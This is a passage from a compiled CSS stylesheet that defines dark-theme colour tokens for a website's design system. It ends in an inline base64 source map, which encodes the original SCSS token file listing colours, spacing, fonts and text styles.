  3819.            --color-interactive-disabled: var(--color-grey-700);
  3820.            --color-surface-primary: var(--color-grey-1000);
  3821.            --color-surface-accent: var(--color-grey-700);
  3822.            --color-surface-inverse: var(--color-white);
  3823.            --color-surface-brand-accent: var(--color-grey-700);
  3824.            --color-surface-elevated: var(--color-grey-700);
  3825.            --color-surface-caution-default: var(--color-jaffa-1000);
  3826.            --color-surface-caution-strong: var(--color-jaffa-500);
  3827.            --color-surface-critical-default: var(--color-veryberry-1000);
  3828.            --color-surface-critical-strong: var(--color-veryberry-500);
  3829.            --color-surface-info-default: var(--color-blue-1000);
  3830.            --color-surface-info-strong: var(--color-blue-500);
  3831.            --color-surface-neutral-default: var(--color-grey-700);
  3832.            --color-surface-neutral-strong: var(--color-white);
  3833.            --color-surface-positive-default: var(--color-green-1000);
  3834.            --color-surface-positive-strong: var(--color-green-500);
  3835.            --color-overlay-light: var(--color-white-mask);
  3836.            --color-overlay-dark: var(--color-grey-1000-mask);
  3837.            --color-content-brand: var(--color-green-1000);
  3838.            --color-content-brand-accent: var(--color-bubblegum-100);
  3839.            --color-content-primary: var(--color-white);
  3840.            --color-content-inverse: var(--color-grey-1000);
  3841.            --color-content-secondary: var(--color-grey-100);
  3842.            --color-content-disabled: var(--color-grey-500);
  3843.            --color-content-caution-default: var(--color-jaffa-500);
  3844.            --color-content-caution-strong: var(--color-jaffa-1000);
  3845.            --color-content-critical-default: var(--color-veryberry-500);
  3846.            --color-content-critical-strong: var(--color-veryberry-1000);
  3847.            --color-content-info-default: var(--color-blue-500);
  3848.            --color-content-info-strong: var(--color-blue-1000);
  3849.            --color-content-neutral-default: var(--color-white);
  3850.            --color-content-neutral-strong: var(--color-grey-1000);
  3851.            --color-content-positive-default: var(--color-green-500);
  3852.            --color-content-positive-strong: var(--color-green-1000);
  3853.            --color-border-primary: var(--color-white);
  3854.            --color-border-secondary: var(--color-grey-500);
  3855.            --color-border-tertiary: var(--color-grey-700);
  3856.            --color-always-white: var(--color-white);
  3857.        }
  3858.  
  3859.        /*# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIndlYnBhY2s6Ly8uL2FwcC9qYXZhc2NyaXB0L2NvbXBvbmVudHMvYnJhbmRfbmV1ZV90b2tlbnMvYmFzZS5zY3NzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQUVBO0VBQ0UsMEJBQUE7RUFDQSwyQ0FBQTtFQUNBLHlCQUFBO0VBQ0EseUJBQUE7RUFDQSx5QkFBQTtFQUNBLHlCQUFBO0VBQ0Esd0JBQUE7RUFDQSx3QkFBQTtFQUNBLHNCQUFBO0VBQ0EsMENBQUE7RUFFQSwyQkFBQTtFQUNBLDBCQUFBO0VBQ0EsMEJBQUE7RUFDQSwwQkFBQTtFQUNBLDBCQUFBO0VBQ0EseUJBQUE7RUFFQSwwQkFBQTtFQUNBLHlCQUFBO0VBQ0EseUJBQUE7RUFDQSx3QkFBQTtFQUVBLCtCQUFBO0VBQ0EsOEJBQUE7RUFDQSw4QkFBQTtFQUNBLDZCQUFBO0VBRUEsOEJBQUE7RUFDQSw4QkFBQTtFQUNBLDZCQUFBO0VBRUEsMkJBQUE7RUFDQSwwQkFBQTtFQUNBLDBCQUFBO0VBQ0EseUJBQUE7RUFFQSwwQkFBQTtFQUNBLHlCQUFBO0VBQ0EseUJBQUE7RUFDQSx5QkFBQTtFQUNBLHdCQUFBO0VBRUEsZ0NBQUE7RUFFQSx5QkFBQTtFQUNBLCtCQUFBO0VBQ0EsNEJBQUE7RUFFQSxtQkFBQTtFQUNBLGtCQUFBO0VBQ0Esa0JBQUE7RUFDQSxrQkFBQTtFQUNBLGtCQUFBO0VBQ0Esa0JBQUE7RUFDQSxpQkFBQTtFQUNBLGlCQUFBO0VBQ0EsbUJBQUE7RUFFQSxzQkFBQTtFQUNBLHNCQUFBO0VBQ0EsdUJBQUE7RUFFQSx1QkFBQTtFQUNBLHVCQUFBO0VBQ0EsNkJBQUE7RUFDQSx3QkFBQTtFQUVBLGdEQUFBO0VBQ0EscUNBQUE7RUFFQSxpQkFBQTtFQUNBLHVCQUFBO0VBRUEsaUNBQUE7RUFDQSxtQ0FBQTtFQUNBLGtDQUFBO0VBRUEsb0RBQUE7RUFDQSx3REFBQTtFQUNBLCtEQUFBO0VBQ0EseURBQUE7RUFFQTtrRUFBQTtFQUVBO3NEQUFBO0VBRUEsaURBQUE7RUFFQSxxQkFB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QUNBLHdEQUFBO0VBQ0EsbURBQUE7RUFFQSwrQ0FBQTtFQUNBLDZDQUFBO0VBQ0EsMkNBQUE7RUFDQSxtREFBQTtFQUNBLCtDQUFBO0VBQ0Esd0RBQUE7RUFDQSxzREFBQTtFQUNBLDZEQUFBO0VBQ0EsMkRBQUE7RUFDQSxvREFBQTtFQUNBLGtEQUFBO0VBQ0Esc0RBQUE7RUFDQSxrREFBQTtFQUNBLHlEQUFBO0VBQ0EsdURBQUE7RUFFQSw4Q0FBQTtFQUNBLGlEQUFBO0VBRUEsOENBQUE7RUFDQSx3REFBQTtFQUNBLDJDQUFBO0VBQ0EsK0NBQUE7RUFDQSxnREFBQTtFQUNBLCtDQUFBO0VBQ0EsdURBQUE7RUFDQSx1REFBQTtFQUNBLDREQUFBO0VBQ0EsNERBQUE7RUFDQSxtREFBQTtFQUNBLG1EQUFBO0VBQ0EsbURBQUE7RUFDQSxzREFBQTtFQUNBLHdEQUFBO0VBQ0Esd0RBQUE7RUFFQSwwQ0FBQTtFQUNBLCtDQUFBO0VBQ0EsOENBQUE7RUFFQSx3Q0FBQTtBQWxERiIsInNvdXJjZXNDb250ZW50IjpbIi8vIENvcGllZCBmcm9tIGh0dHBzOi8vZ2l0aHViLmNvbS9lbnZhdG8vZW52YXRvLWRlc2lnbi10b2tlbnMvYmxvYi9tYWluL3Rva2Vucy5jc3NcblxuOnJvb3Qge1xuICAtLWNvbG9yLWdyZXktMTAwMDogIzE5MTkxOTtcbiAgLS1jb2xvci1ncmV5LTEwMDAtbWFzazogcmdiKDI1IDI1IDI1IC8gMC43KTtcbiAgLS1jb2xvci1ncmV5LTcwMDogIzM4MzgzODtcbiAgLS1jb2xvci1ncmV5LTUwMDogIzcwNzA3MDtcbiAgLS1jb2xvci1ncmV5LTMwMDogIzk0OTQ5NDtcbiAgLS1jb2xvci1ncmV5LTEwMDogI2NjY2NjYztcbiAgLS1jb2xvci1ncmV5LTUwOiAjZWNlY2VlO1xuICAtLWNvbG9yLWdyZXktMjU6ICNmOWY5ZmI7XG4gIC0tY29sb3Itd2hpdGU6ICNmZmZmZmY7XG4gIC0tY29sb3Itd2hpdGUtbWFzazogcmdiKDI1NSAyNTUgMjU1IC8gMC43KTtcblxuICAtLWNvbG9yLWdyZWVuLTEwMDA6ICMxYTQyMDA7XG4gIC0tY29sb3ItZ3JlZW4tNzAwOiAjMmU3NDAwO1xuICAtLWNvbG9yLWdyZWVuLTUwMDogIzUxYTMxZDtcbiAgLS1jb2xvci1ncmVlbi0zMDA6ICM2Y2M4MzI7XG4gIC0tY29sb3ItZ3JlZW4tMTAwOiAjOWNlZTY5O1xuICAtLWNvbG9yLWdyZWVuLTI1OiAjZWFmZmRjO1xuXG4gIC0tY29sb3ItYmx1ZS0xMDAwOiAjMTYzNTdiO1xuICAtLWNvbG9yLWJsdWUtNzAwOiAjNGY1Y2U4O1xuICAtLWNvbG9yLWJsdWUtNTAwOiAjNzU4NWZmO1xuICAtLWNvbG9yLWJsdWUtMjU6ICNmMGYxZmY7XG5cbiAgLS1jb2xvci12ZXJ5YmVycnktMTAwMDogIzc3MDEyZDtcbiAgLS1jb2xvci12ZXJ5YmVycnktNzAwOiAjYjkwMDRiO1xuICAtLWNvbG9yLXZlcnliZXJyeS01MDA6ICNmNjUyODY7XG4gIC0tY29sb3ItdmVyeWJlcnJ5LTI1OiAjZmZlY2YyO1xuXG4gIC0tY29sb3ItYnViYmxlZ3VtLTcwMDogI2IwMzdhNjtcbiAgLS1jb2xvci1idWJibGVndW0tMTAwOiAjZTZhZmUxO1xuICAtLWNvbG9yLWJ1YmJsZWd1bS0yNTogI2ZlZWRmYztcblxuICAtLWNvbG9yLWphZmZhLTEwMDA6ICM2OTI0MDA7XG4gIC0tY29sb3ItamFmZmEtNzAwOiAjYzI0MTAwO1xuICAtLWNvbG9yLWphZmZhLTUwMDogI2ZmNmUyODtcbiAgLS1jb2xvci1qYWZmYS0yNTogI2ZmZjVlZDtcblxuICAtLWNvbG9yLXlvbGstMTAwMDogIzQ1MmQwZDtcbiAgLS1jb2xvci15b2xrLTcwMDogIzllNWYwMDtcbiAgLS1jb2xvci15b2xrLTUwMDogI2MyODgwMDtcbiAgLS1jb2xvci15b2xrLTMwMDogI2ZmYzgwMDtcbiAgLS1jb2xvci15b2xrLTI1OiAjZmVmYWVhO1xuXG4gIC0tY29sb3ItdHJhbnNwYXJlbnQ6IHRyYW5zcGFyZW50O1xuXG4gIC0tYnJlYWtwb2ludC13aWRlOiAxMDI0cHg7XG4gIC0tYnJlYWtwb2ludC1leHRyYS13aWRlOiAxNDQwcHg7XG4gIC0tYnJlYWtwb2ludC0yay13aWRlOiAyNTYwcHg7XG5cbiAgLS1zcGFjaW5nLTh4OiAxMjhweDtcbiAgLS1zcGFjaW5nLTd4OiA2NHB4O1xuICAtLXNwYWNpbmctNng6IDQwcHg7XG4gIC0tc3BhY2luZy01eDogMzJweDtcbiAgLS1zcGFjaW5nLTR4OiAyNHB4O1xuICAtLXNwYWNpbmctM3g6IDE2cHg7XG4gIC0tc3BhY2luZy0yeDogOHB4O1xuICAtLXNwYWNpbmctMXg6IDRweDtcbiAgLS1zcGFjaW5nLW5vbmU6IDBweDtcblxuICAtLWNodW5raW5lc3Mtbm9uZTogMHB4O1xuICAtLWNodW5raW5lc3MtdGhpbjogMXB4O1xuICAtLWNodW5raW5lc3MtdGhpY2s6IDJweDtcblxuICAtLXJvdW5kbmVzcy1zcXVhcmU6IDBweDtcbiAgLS1yb3VuZG5lc3Mtc3VidGxlOiA0cHg7XG4gIC0tcm91bmRuZXNzLWV4dHJhLXJvdW5kOiAxNnB4O1xuICAtLXJvdW5kbmVzcy1jaXJjbGU6IDQ4cHg7XG5cbiAgLS1zaGFkb3ctNTAwOiAwcHggMnB4IDEycHggMHB4IHJnYmEoMCAwIDAgLyAxNSUpO1xuICAtLWVsZXZhdGlvbi1tZWRpdW06IHZhcigtLXNoYWRvdy01MDApO1xuXG4gIC8qKiBAZGVwcmVjYXRlZCAqL1xuICAtLXRyYW5zaXRpb24tYmFzZTogMC4ycztcblxuICAtLXRyYW5zaXRpb24tZHVyYXRpb24tbG9uZzogNTAwbXM7XG4gIC0tdHJhbnNpdGlvbi1kdXJhdGlvbi1tZWRpdW06IDMwMG1zO1xuICAtLXRyYW5zaXRpb24tZHVyYXRpb24tc2hvcnQ6IDE1MG1zO1xuXG4gIC0tdHJhbnNpdGlvbi1lYXNpbmctbGluZWFyOiBjdWJpYy1iZXppZXIoMCwgMCwgMSwgMSk7XG4gIC0tdHJhbnNpdGlvbi1lYXNpbmctZWFzZS1pbjogY3ViaWMtYmV6aWVyKDAuNDIsIDAsIDEsIDEpO1xuICAtLXRyYW5zaXRpb24tZWFzaW5nLWVhc2UtaW4tb3V0OiBjdWJpYy1iZXppZXIoMC40MiwgMCwgMC41OCwgMSk7XG4gIC0tdHJhbnNpdGlvbi1lYXNpbmctZWFzZS1vdXQ6IGN1YmljLWJlemllcigwLCAwLCAwLjU4LCAxKTtcblxuICAtLWZvbnQtZmFtaWx5LXdpZGU6IFwiUG9seVNhbnNXaWRlXCIsIFwiUG9seVNhbnNcIiwgXCJJbnRlclwiLCAtYXBwbGUtc3lzdGVtLCBcIkJsaW5rTWFjU3lzdGVtRm9udFwiLFxuICAgIFwiU2Vnb2UgVUlcIiwgXCJGaXJhIFNhbnNcIiwgXCJIZWx2ZXRpY2EgTmV1ZVwiLCBcIkFyaWFsXCIsIHNhbnMtc2VyaWY7XG4gIC0tZm9udC1mYW1pbHktcmVndWxhcjogXCJQb2x5U2Fuc1wiLCBcIkludGVyXCIsIC1hcHBsZS1zeXN0ZW0sIFwiQmxpbmtNYWNTeXN0ZW1Gb250XCIsIFwiU2Vnb2UgVUlcIixcbiAgICBcIkZpcmEgU2Fuc1wiLCBcIkhlbHZldGljYSBOZXVlXCIsIFwiQXJpYWxcIiwgc2Fucy1zZXJpZjtcbiAgLS1mb250LWZhbWlseS1tb25vc3BhY2U6IFwiQ291cmllciBOZXdcIiwgbW9ub3NwYWNlO1xuXG4gIC0tZm9udC1zaXplLTEweDogNnJlbTtcbiAgLS1mb250LXNpemUtOXg6IDQuNXJlbTtcbiAgLS1mb250LXNpemUtOHg6IDNyZW07XG4gIC0tZm9udC1zaXplLTd4OiAyLjI1cmVtO1xuICAtLWZvbnQtc2l6ZS02eDogMS44NzVyZW07XG4gIC0tZm9udC1zaXplLTV4OiAxLjVyZW07XG4gIC0tZm9udC1zaXplLTR4OiAxLjEyNXJlbTtcbiAgLS1mb250LXNpemUtM3g6IDFyZW07XG4gIC0tZm9udC1zaXplLTJ4OiAwLjg3NXJlbTtcbiAgLS1mb250LXNpemUtMXg6IDAuNzVyZW07XG5cbiAgLS1mb250LXdlaWdodC1idWxreTogNzAwO1xuICAtLWZvbnQtd2VpZ2h0LW1lZGlhbjogNjAwO1xuICAtLWZvbnQtd2VpZ2h0LW5ldXRyYWw6IDQwMDtcblxuICAtLWZvbnQtc3BhY2luZy10aWdodDogLTAuMDJlbTtcbiAgLS1mb250LXNwYWNpbmctbm9ybWFsOiAwO1xuICAtLWZvbnQtc3BhY2luZy1sb29zZTogMC4wMmVtO1xuXG4gIC0tZm9udC1oZWlnaHQtdGlnaHQ6IDE7XG4gIC0tZm9udC1oZWlnaHQtbm9ybWFsOiAxLjU7XG5cbiAgLS1pY29uLXNpemUtNXg6IDQ4cHg7XG4gIC0taWNvbi1zaXplLTR4OiA0MHB4O1xuICAtLWljb24tc2l6ZS0zeDogMzJweDtcbiAgLS1pY29uLXNpemUtMng6IDI0cHg7XG4gIC0taWNvbi1zaXplLTF4OiAxNnB4O1xuICAtLWljb24tc2l6ZS10ZXh0LXJlc3BvbnNpdmU6IGNhbGModmFyKC0tZm9udC1zaXplLTN4KSAqIDEuNSk7XG5cbiAgLS1sYXllci1kZXB0aC1jZWlsaW5nOiA5OTk5O1xuXG4gIC0tbWluaW11bS10b3VjaC1hcmVhOiA0MHB4O1xuXG4gIC8qIGNvbXBvbmVudCB3aXJpbmc/IC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAqL1xuXG4gIC0tYnV0dG9uLWhlaWdodC1sYXJnZTogNDhweDtcbiAgLS1idXR0b24taGVpZ2h0LW1lZGl1bTogNDBweDtcbiAgLS1idXR0b24tZm9udC1mYW1pbHk6IHZhcigtLWZvbnQtZmFtaWx5LXJlZ3VsYXIpO1xuICAtLWJ1dHRvbi1mb250LXNpemUtbGFyZ2U6IHZhcigtLWZvbnQtc2l6ZS0zeCk7XG4gIC0tYnV0dG9uLWZvbnQtc2l6ZS1tZWRpdW06IHZhcigtLWZvbnQtc2l6ZS0yeCk7XG4gIC0tYnV0dG9uLWZvbnQtd2VpZ2h0OiB2YXIoLS1mb250LXdlaWdodC1tZWRpYW4pO1xuICAtLWJ1dHRvbi1mb250LWhlaWdodDogdmFyKC0tZm9udC1oZWlnaHQtbm9ybWFsKTtcbiAgLS1idXR0b24tZm9udC1zcGFjaW5nOiB2YXIoLS1mb250LXNwYWNpbmctbm9ybWFsKTtcblxuICAtLXRleHQtc3R5bGUtY2hpcC1mYW1pbHk6IHZhcigtLWZvbnQtZmFtaWx5LXJlZ3VsYXIpO1xuICAtLXRleHQtc3R5bGUtY2hpcC1zcGFjaW5nOiB2YXIoLS1mb250LXNwYWNpbmctbm9ybWFsKTtcbiAgLS10ZXh0LXN0eWxlLWNoaXAteGxhcmdlLXNpemU6IHZhcigtLWZvbnQtc2l6ZS01eCk7XG4gIC0tdGV4dC1zdHlsZS1jaGlwLXhsYXJnZS13ZWlnaHQ6IHZhcigtLWZvbnQtd2VpZ2h0LW1lZGlhbik7XG4gIC0tdGV4dC1zdHlsZS1jaGlwLXhsYXJnZS1oZWlnaHQ6IHZhcigtLWZvbnQtaGVpZ2h0LXRpZ2h0KTtcbiAgLS10ZXh0LXN0eWxlLWNoaXAtbGFyZ2Utc2l6ZTogdmFyKC0tZm9udC1zaXplLTN4KTtcbiAgLS10ZXh0LXN0eWxlLWNoaXAtbGFyZ2Utd2VpZ2h0OiB2YXIoLS1mb250LXdlaWdodC1uZXV0cmFsKTtcbiAgLS10ZXh0LXN0eWxlLWNoaXAtbGFyZ2UtaGVpZ2h0OiB2YXIoLS1mb250LWhlaWdodC1ub3JtYWwpO1xuICAtLXRleHQtc3R5bGUtY2hpcC1tZWRpdW0tc2l6ZTogdmFyKC0tZm9udC1zaXplLTJ4KTtcbiAgLS10ZXh0LXN0eWxlLWNoaXAtbWVkaXVtLXdlaWdodDogdmFyKC0tZm9udC13ZWlnaHQtbmV1dHJhbCk7XG4gIC0tdGV4dC1zdHlsZS1jaGlwLW1lZGl1bS1oZWlnaHQ6IHZhcigtLWZvbnQtaGVpZ2h0LW5vcm1hbCk7XG5cbiAgLyogdGhlbWU/IC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi9cblxuICAtLXRleHQtc3R5bGUtY2FtcGFpZ24tbGFyZ2UtZmFtaWx5OiB2YXIoLS1mb250LWZhbWlseS13aWRlKTtcbiAgLS10ZXh0LXN0eWxlLWNhbXBhaWduLWxhcmdlLXNpemU6IHZhcigtLWZvbnQtc2l6ZS05eCk7XG4gIC0tdGV4dC1zdHlsZS1jYW1wYWlnbi1sYXJnZS1zcGFjaW5nOiB2YXIoLS1mb250LXNwYWNpbmctbm9ybWFsKTtcbiAgLS10ZXh0LXN0eWxlLWNhbXBhaWduLWxhcmdlLXdlaWdodDogdmFyKC0tZm9udC13ZWlnaHQtYnVsa3kpO1xuICAtLXRleHQtc3R5bGUtY2FtcGFpZ24tbGFyZ2UtaGVpZ2h0OiB2YXIoLS1mb250LWhlaWdodC10aWdodCk7XG5cbiAgLS10ZXh0LXN0eWxlLWNhbXBhaWduLXNtYWxsLWZhbWlseTogdmFyKC0tZm9udC1mYW1pbHktd2lkZSk7XG4gIC0tdGV4dC1zdHlsZS1jYW1wYWlnbi1zbWFsbC1zaXplOiB2YXIoLS1mb250LXNpemUtN3gpO1xuICAtLXRleHQtc3R5bGUtY2FtcGFpZ24tc21hbGwtc3BhY2luZzogdmFyKC0tZm9udC1zcGFjaW5nLW5vcm1hbCk7XG4gIC0tdGV4dC1zdHlsZS1jYW1wYWlnbi1zbWFsbC13ZWlnaHQ6IHZhcigtLWZvbnQtd2VpZ2h0LWJ1bGt5KTtcbiAgLS10ZXh0LXN0eWxlLWNhbXBhaWduLXNtYWxsLWhlaWdodDogdmFyKC0tZm9udC1oZWlnaHQtdGlnaHQpO1xuXG4gIC0tdGV4dC1zdHlsZS10aXRsZS0xLWZhbWlseTogdmFyKC0tZm9udC1mYW1pbHktcmVndWxhcik7XG4gIC0tdGV4dC1zdHlsZS10aXRsZS0xLXNpemU6IHZhcigtLWZvbnQtc2l6ZS04eCk7XG4gIC0tdGV4dC1zdHlsZS10aXRsZS0xLXNwYWNpbmc6IHZhcigtLWZvbnQtc3BhY2luZy1ub3JtYWwpO1xuICAtLXRleHQtc3R5bGUtdGl0bGUtMS13ZWlnaHQ6IHZhcigtLWZvbnQtd2VpZ2h0LWJ1bGt5KTtcbiAgLS10ZXh0LXN0eWxlLXRpdGxlLTEtaGVpZ2h0OiB2YXIoLS1mb250LWhlaWdodC10aWdodCk7XG5cbiAgLS10ZXh0LXN0eWxlLXRpdGxlLTItZmFtaWx5OiB2YXIoLS1mb250LWZhbWlseS1yZWd1bGFyKTtcbiAgLS10ZXh0LXN0eWxlLXRpdGxlLTItc2l6ZTogdmFyKC0tZm9udC1zaXplLTd4KTtcbiAgLS10ZXh0LXN0eWxlLXRpdGxlLTItc3BhY2luZzogdmFyKC0tZm9udC1zcGFjaW5nLW5vcm1hbCk7XG4gIC0tdGV4dC1zdHlsZS10aXRsZS0yLXdlaWdodDogdmFyKC0tZm9udC13ZWlnaHQtbWVkaWFuKTtcbiAgLS10ZXh0LXN0eWxlLXRpdGxlLTItaGVpZ2h0OiB2YXIoLS1mb250LWhlaWdodC10aWdodCk7XG5cbiAgLS10ZXh0LXN0eWxlLXRpdGxlLTMtZmFtaWx5OiB2YXIoLS1mb250LWZhbWlseS1yZWd1bGFyKTtcbiAgLS10ZXh0LXN0eWxlLXRpdGxlLTMtc2l6ZTogdmFyKC0tZm9udC1zaXplLTZ4KTtcbiAgLS10ZXh0LXN0eWxlLXRpdGxlLTMtc3BhY2luZzogdmFyKC0tZm9udC1zcGFjaW5nLW5vcm1hbCk7XG4gIC0tdGV4dC1zdHlsZS10aXRsZS0zLXdlaWdodDogdmFyKC0tZm9udC13ZWlnaHQtbWVkaWFuKTtcbiAgLS10ZXh0LXN0eWxlLXRpdGxlLTMtaGVpZ2h0OiB2YXIoLS1mb250LWhlaWdodC10aWdodCk7XG5cbiAgLS10ZXh0LXN0eWxlLXRpdGxlLTQtZmFtaWx5OiB2YXIoLS1mb250LWZhbWlseS1yZWd1bGFyKTtcbiAgLS10ZXh0LXN0eWxlLXRpdGxlLTQtc2l6ZTogdmFyKC0tZm9udC1zaXplLTV4KTtcbiAgLS10ZXh0LXN0eWxlLXRpdGxlLTQtc3BhY2luZzogdmFyKC0tZm9udC1zcGFjaW5nLW5vcm1hbCk7XG4gIC0tdGV4dC1zdHlsZS10aXRsZS00LXdlaWdodDogdmFyKC0tZm9udC13ZWlnaHQtbWVkaWFuKTtcbiAgLS10ZXh0LXN0eWxlLXRpdGxlLTQtaGVpZ2h0OiB2YXIoLS1mb250LWhlaWdodC10aWdodCk7XG5cbiAgLS10ZXh0LXN0eWxlLXN1YmhlYWRpbmctZmFtaWx5OiB2YXIoLS1mb250LWZhbWlseS1yZWd1bGFyKTtcbiAgLS10ZXh0LXN0eWxlLXN1YmhlYWRpbmctc2l6ZTogdmFyKC0tZm9udC1zaXplLTR4KTtcbiAgLS10ZXh0LXN0eWxlLXN1YmhlYWRpbmctc3BhY2luZzogdmFyKC0tZm9udC1zcGFjaW5nLW5vcm1hbCk7XG4gIC0tdGV4dC1zdHlsZS1zdWJoZWFkaW5nLXdlaWdodDogdmFyKC0tZm9udC13ZWlnaHQtbWVkaWFuKTtcbiAgLS10ZXh0LXN0eWxlLXN1YmhlYWRpbmctaGVpZ2h0OiB2YXIoLS1mb250LWhlaWdodC1ub3JtYWwpO1xuXG4gIC0tdGV4dC1zdHlsZS1ib2R5LWxhcmdlLWZhbWlseTogdmFyKC0tZm9udC1mYW1pbHktcmVndWxhcik7XG4gIC0tdGV4dC1zdHlsZS1ib2R5LWxhcmdlLXNpemU6IHZhcigtLWZvbnQtc2l6ZS0zeCk7XG4gIC0tdGV4dC1zdHlsZS1ib2R5LWxhcmdlLXNwYWNpbmc6IHZhcigtLWZvbnQtc3BhY2luZy1ub3JtYWwpO1xuICAtLXRleHQtc3R5bGUtYm9keS1sYXJnZS13ZWlnaHQ6IHZhcigtLWZvbnQtd2VpZ2h0LW5ldXRyYWwpO1xuICAtLXRleHQtc3R5bGUtYm9keS1sYXJnZS1oZWlnaHQ6IHZhcigtLWZvbnQtaGVpZ2h0LW5vcm1hbCk7XG4gIC0tdGV4dC1zdHlsZS1ib2R5LWxhcmdlLXN0cm9uZy13ZWlnaHQ6IHZhcigtLWZvbnQtd2VpZ2h0LWJ1bGt5KTtcblxuICAtLXRleHQtc3R5bGUtYm9keS1zbWFsbC1mYW1pbHk6IHZhcigtLWZvbnQtZmFtaWx5LXJlZ3VsYXIpO1xuICAtLXRleHQtc3R5bGUtYm9keS1zbWFsbC1zaXplOiB2YXIoLS1mb250LXNpemUtMngpO1xuICAtLXRleHQtc3R5bGUtYm9keS1zbWFsbC1zcGFjaW5nOiB2YXIoLS1mb250LXNwYWNpbmctbm9ybWFsKTtcbiAgLS10ZXh0LXN0eWxlLWJvZHktc21hbGwtd2VpZ2h0OiB2YXIoLS1mb250LXdlaWdodC1uZXV0cmFsKTtcbiAgLS10ZXh0LXN0eWxlLWJvZHktc21hbGwtaGVpZ2h0OiB2YXIoLS1mb250LWhlaWdodC1ub3JtYWwpO1xuICAtLXRleHQtc3R5bGUtYm9keS1zbWFsbC1zdHJvbmctd2VpZ2h0OiB2YXIoLS1mb250LXdlaWdodC1idWxreSk7XG5cbiAgLS10ZXh0LXN0eWxlLWxhYmVsLWxhcmdlLWZhbWlseTogdmFyKC0tZm9udC1mYW1pbHktcmVndWxhcik7XG4gIC0tdGV4dC1zdHlsZS1sYWJlbC1sYXJnZS1zaXplOiB2YXIoLS1